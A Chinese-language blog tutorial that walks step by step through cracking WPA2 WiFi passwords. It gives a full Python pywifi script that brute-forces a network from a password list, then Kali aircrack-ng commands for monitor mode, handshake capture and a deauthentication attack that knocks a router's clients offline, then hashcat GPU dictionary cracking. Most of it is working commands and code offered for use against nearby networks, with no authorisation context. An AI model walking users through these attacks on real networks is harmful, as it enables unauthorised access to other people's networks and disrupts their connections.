生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)

目录

1、pywifi、python破解wifi
1.1 pywifi模块下载
1.1.1运行python是在PyCharm 2020.3,
1.1.2pywifi模块介绍并安装:
1.1.3 用python破解wifi的代码
2. kali linux破解wifi密码
2.1 kali安装
2.2 kali配置一些问题
2.2.1网络可以改成nat模式,同时尝试下在kali中是否可以上网
2.2.2 根据需要调整内存、处理器、硬盘的大小
2.2.3 USB的虚拟共享蓝牙设备勾选上
2.3 aircrack-ng安装使用
2.4 准备好一个可以监听的无线网卡
2.5 插上无线网卡并连接到kali
2.5.1 在虚拟机选择中选择虚拟机的菜单
2.5.2 点击里边的 可移动设备
2.6 准备用aircrack-ng破解无线WiFi
2.6.1 确认无线网卡连接成功
2.6.2 看到这个界面后输入airmon-ng start wlan0(启动网卡监听模式)
2.6.3 启动后ifconfig查看一下,如果网卡名变成了wlan0mon了,则表示操作成功。
2.6.4扫描附近wifi 命令 airodump-ng wlan0mon
2.6.5 监听获取握手包
2.6.6 攻击路由器进行断网重新连接
2.6.7 查看wifi目录下的-01.cap文件
2.7 正式破解WiFI密码
2.8 kali aircrack-ng破解wifi小结
3. Hashcat 破解无线WiFi密码
3.1 hashcat 安装:
3.1.1 打开hashcat的官网
3.1.2 解压hashcat的压缩包
3.1.3 hashcat网站 -01.cap文件 转化为 .hc22000 文件
3.1.4 准备 hashcat攻击
3.1.4.1常见的hashcat命令
3.2正式hashcat攻击
3.3hashcat 破解无线WIFi小结
3.4 速度对比
1、python、pywifi破解无线WiFi密码 1.1 pywifi模块下载 1.1.1运行python是在PyCharm 2020.3,
其他环境也可以 。PyCharm下载地址
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

1.1.2pywifi模块介绍并安装:

pywifi提供了一个跨平台的Python模块,用于操作无线接口(支持Windows和Linux)之前已经安装过了,所以显示already satisfied,也可以根据该命令判断是否已安装成功
win +R 输入cmd 打开命令终端
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

在cmd中输入命令 pip install pywifi和 pip install comtypes
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

1.1.3 用python破解wifi的代码
具体代码如下:

import pywifi#引用pywifi库 from pywifi import const#获取连接状态的常量库 import time# 尝试链接,返回连接状态 def wifiConnect(ifaces,pwd):# 首先要断开无线网卡连接 ifaces.disconnect()#断开链接 time.sleep(1)#断开给1s的等待时间# 获取wifi的连接状态 wifistatus = ifaces.status()# 判断是否网卡断开,断开后开始连接测试 if wifistatus == const.IFACE_DISCONNECTED:#判断wifi的链接的是否断开# 创建新的wifi连接文件 profile =pywifi.Profile()# 要连接的wifi的名称 profile.ssid = 'mytest'#根据需要自己修改名称# 网卡的开放状态 | auth - AP的认证算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法时wps#选择wifi加密方式akm - AP的密钥管理类型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 /cipher - AP的密码类型 profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码 (要匹配的密码) profile.key = pwd# 删除所有连接过的无线WiFi文件 ifaces.remove_all_network_profiles() # 加载新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile)#尝试新的链接 time.sleep(3)#连接给3s的等待时间#WiFi连接成功返回 True if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("wifi连接,需要断开连接")# 读取密码本 def readPassword(): print("开始破解:") # 密码本路径(放在py文件的同一目录下) path ="wifi_password_test.txt" # 打开文件 f = open(path,"r")while True: try: # 一行一行读取 password = f.readline() password = password[:-1] bool = wifiConnect(ifaces,password)if bool: print("密码已成功破解:",password) print("wifi已连接!") break else: print("密码破解中,密码校对:",password," 失败") if not password: print('文件已读取完.') f.close() break except: # continue print("error")if __name__ == '__main__':# 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] readPassword()

1.1.3.1首先找到要破解无线WiFi
这里就用mytest的无线WiFi作为测试
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片
????
1.1.3.2运行python代码
注意:在代码中输入要破解的无线WiFi名称(自行更改),同时需要有密码本进行配对
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

1.1.3.3 成功找到密码并成功连接
这里就成功的获得到mytest 的无线WiFi密码 1234567890
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

1.2 python pywifi破解无线WiFi 小结 使用pywifi 破解简单理解就是密码配对,利用python 代码运行代替人工一个个尝试,同时在断开连接和尝试连接都需要一定等待时间,假设进行一次的配对代码运行需要3s,那么1min 也就配对20次。一小时就1200次,一天就28800次。虽然相比人手动连接密码尝试的效率要搞,但是如果对于密码本字典比较大,匹配的速度还是太慢了。接下我将尝试在kali的破解方法....
2. kali linux aircrack-ng 破解无线WiFi密码 2.1 kali安装 生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片


详细见kali2020.1安装过程详解(真的超详细) - 知乎
2.2 kali配置一些问题 2.2.1网络可以改成nat模式,同时尝试下在kali中是否可以上网
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.2.2 根据需要调整内存、处理器、硬盘的大小
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.2.3 USB的虚拟共享蓝牙设备勾选上
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.3 aircrack-ng安装使用 kali下面自带aircrack-ng的包
如果没有的话,在终端输入命令:apt-get install aircrack-ng
apt-get install aircrack-ng

可能遇到的问题:
1、没有网络下载不了,这就需要看下kali是否按照上边的网络适配器,配置为nat模式
2、没有进入root模式,这个可以输入命令 sudo su 进行操作
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

aircrack-ng的安装和kali的基本配置也基本完成,接下来准备硬件无线网卡
2.4 准备好一个可以监听的无线网卡 (芯片为3070或者1887L都支持Linux)
本人在某宝上随便找了型号RT5572的无线网卡,大概也就二十多块。
2.5 插上无线网卡并连接到kali 2.5.1 在虚拟机选择中选择虚拟机的菜单
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.5.2 点击里边的 可移动设备
查看对应的无线网卡,如果是有个钩就是成功与虚拟机连接了,没有则进行如下操作:
选中对应的无线网卡,选择 连接(断开与主机的连接)并弹出如下框框(也可能不弹出),只要在确认勾勾有没打上就行了
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.6 准备用aircrack-ng破解无线WiFi 2.6.1 确认无线网卡连接成功
输入命令:ifconfig 查看网卡信息
ifconfig

成功会有多一个wlan0的信息,wlan0即无线网卡,注意,如果没有发现网卡可能是芯片不能被识别,建议选择网卡芯片为3037或rtl8187l的。
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.6.2 看到这个界面后输入airmon-ng start wlan0(启动网卡监听模式)
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.6.3 启动后ifconfig查看一下,如果网卡名变成了wlan0mon了,则表示操作成功。
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.6.4扫描附近wifi 命令 airodump-ng wlan0mon
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

解析:
BSSID: MAC地址
PWR:信号强度,越小信号越强。
#Data:传输的数据, 数据越大对我们越有利, 大的夸张的可能在看电影
CH:信号频道
ESSID:wifi名称
2.6.5 监听获取握手包
命令:airodump-ng --bssid CC:34:29:4C:67:68 -c 11 -w /home/cheng/wifi/ wlan0mon
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

解析:
-c代表频道, 后面带的是频道
bssid: mac地址(物理地址)
-w代表目录(抓到的握手包放在这个目录下面)
wlan0mon: 网卡名称
如果一直跑着, 它的数据是不停刷新变化的...下边的就是当前连接着WiFi的设备,如果这是刚好有人进行重新链接WIFI操作,并监听到握手包就会出现红色框框内容生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

但是,如果一直没有人重新连接链接...那就一直等着??这时候应该做点什么了,利用deauth洪水攻击,取消目标路由和设备的无线连接,这时候设备重新连接时,会抓取他的握手包,然后用字典进行爆破。新开一个窗口观察
ps:如果无法获取包,攻击路由器进行断网重新连接
2.6.6 攻击路由器进行断网重新连接
输入命令aireplay-ng -0 10 -a CC:34:29:4C:67:68-c 06:3C:A6:AB:45:1F wlan0mon
-0 后边接的是攻击的次数
-a 后边接的是攻击路由器MAC地址
-c 后边接的是已经连接上的设备MAC地址
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

这时候目标路由已经断网,如果抓到包记得ctrl+c关掉这里,然后设备重连,从而获得握手包。
ps:一定不要把次数设置太高,不然一直断网就成恶搞了。
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.6.7 查看wifi目录下的-01.cap文件
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.7 正式破解WiFI密码 输入:aircrack-ng ./-01.cap -w /home/cheng/mima1_ok.txt
解析:
-w后面接的是字典
-01.cap是握手包
这个速度还是非常快,580w 个密码大概也就7min。
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

如果成功就会出现KEY FOUND 的字样
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

2.8 kali aircrack-ng破解wifi小结 相比python的配对,kail的 aircrack-ng破解 速度更加的快1000w的密码,用时间大概15min,这比python 1min 20次配对的速度要快上XX倍(自己算哈...) 但是问题又来了...电脑的CPU烧起来了...风扇响起来了...(前边通过设置了虚拟机的处理器的核数,来增加虚拟机的运算速度,如果不希望有如下场景,可以将虚拟机的处理器的参数设置低点)
问题又来了:
我们可以在提高运算速度?1000w 15min我还是等不了!
我们可以不用CPU用GPU运算么,接下我尝试了hashcat?
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片


3. Hashcat 破解无线WiFi密码 3.1 hashcat 安装: hashcat是一款自称为世界上最快的密码破解工具。下载地址
3.1.1 打开hashcat的官网
打开网页可能会比较慢,耐心等待...
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

3.1.2 解压hashcat的压缩包
随意一个目录下
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

3.1.3 hashcat网站 -01.cap文件 转化为 .hc22000 文件
hashcat的转化为 .hc22000 网站地址
生成对应的文件:
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

3.1.4 准备 hashcat攻击
3.1.4.1常见的hashcat命令
hashcat常用命令-m指定哈希类型-a指定破解模式-V查看版本信息-o将输出结果储存到指定文件--force忽略警告--show仅显示破解的hash密码和对应的明文--remove从源文件中删除破解成功的hash--username忽略hash表中的用户名-b测试计算机破解速度和相关硬件信息-O限制密码长度-T设置线程数-r使用规则文件-1自定义字符集-1 0123asd?1={0123asd}-2自定义字符集-2 0123asd?2={0123asd}-3自定义字符集-3 0123asd?3={0123asd}-i启用增量破解模式--increment-min设置密码最小长度--increment-max设置密码最大长度hashcat破解模式介绍0straight字典破解1combination将字典中密码进行组合3brute-force使用指定掩码破解6Hybrid Wordlist + Mask字典+掩码破解7Hybrid Mask+ Wordlist掩码+字典破解hashcat集成的字符集?l代表小写字母?u代表大写字母?d代表数字?s代表特殊字符?a代表大小写字母、数字以及特殊字符?b0x00-0xff

3.1.4.2 准备密码本攻击
跳到hashcat的解压后的文件目录下
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

输入以下命令:hashcat.exe -m 22000 "D:\PycharmProjects\pywifi\mycap\wifi1.hc22000""D:\PycharmProjects\pywifi\rockyou.txt"
解析:
hashcat.exe 是hashcat是解压后的文件
-m 是指定哈希类型
"D:\PycharmProjects\pywifi\mycap\wifi1.hc22000"是转化后.hc22000的路径
"D:\PycharmProjects\pywifi\rockyou.txt" 是密码本的路径
注意点:
可能出现的错误:
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

自版本 6.0.0 以来,hashcat 一直提供新的哈希模式 -m 22000 。在之前大家可能看到的-m 2500
要根据自己安装的hashcat 的版本进行确认对应的数值。 网站。或者hashcat.exe -h 自行查阅
3.2正式hashcat攻击 来了开始烧GPU了...
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

3.3hashcat 破解无线WIFi小结 这里我是换了一个wifi密码(不再是12341234),进行测试可惜在1400w的字典中并没有找到...但是也可以看到用hashcap 的速度更加的快.1400w用了只用了 2min30s。相比kali aircrack-ng 破解的速度快上X倍
3.4 速度对比 kali aircrack-ng 的破解方式 大概25min
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片

hashcat 破解方式 大概2min30s
生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)
文章图片


【生活篇|Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)】本文作者:九重!
本文链接:https://blog.csdn.net/weixin_43798572/article/details/122554100
关于博主:评论和私信会在第一时间回复。或者直接私信我。
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【点赞】【收藏】一下。您的鼓励是博主的最大动力!

    推荐阅读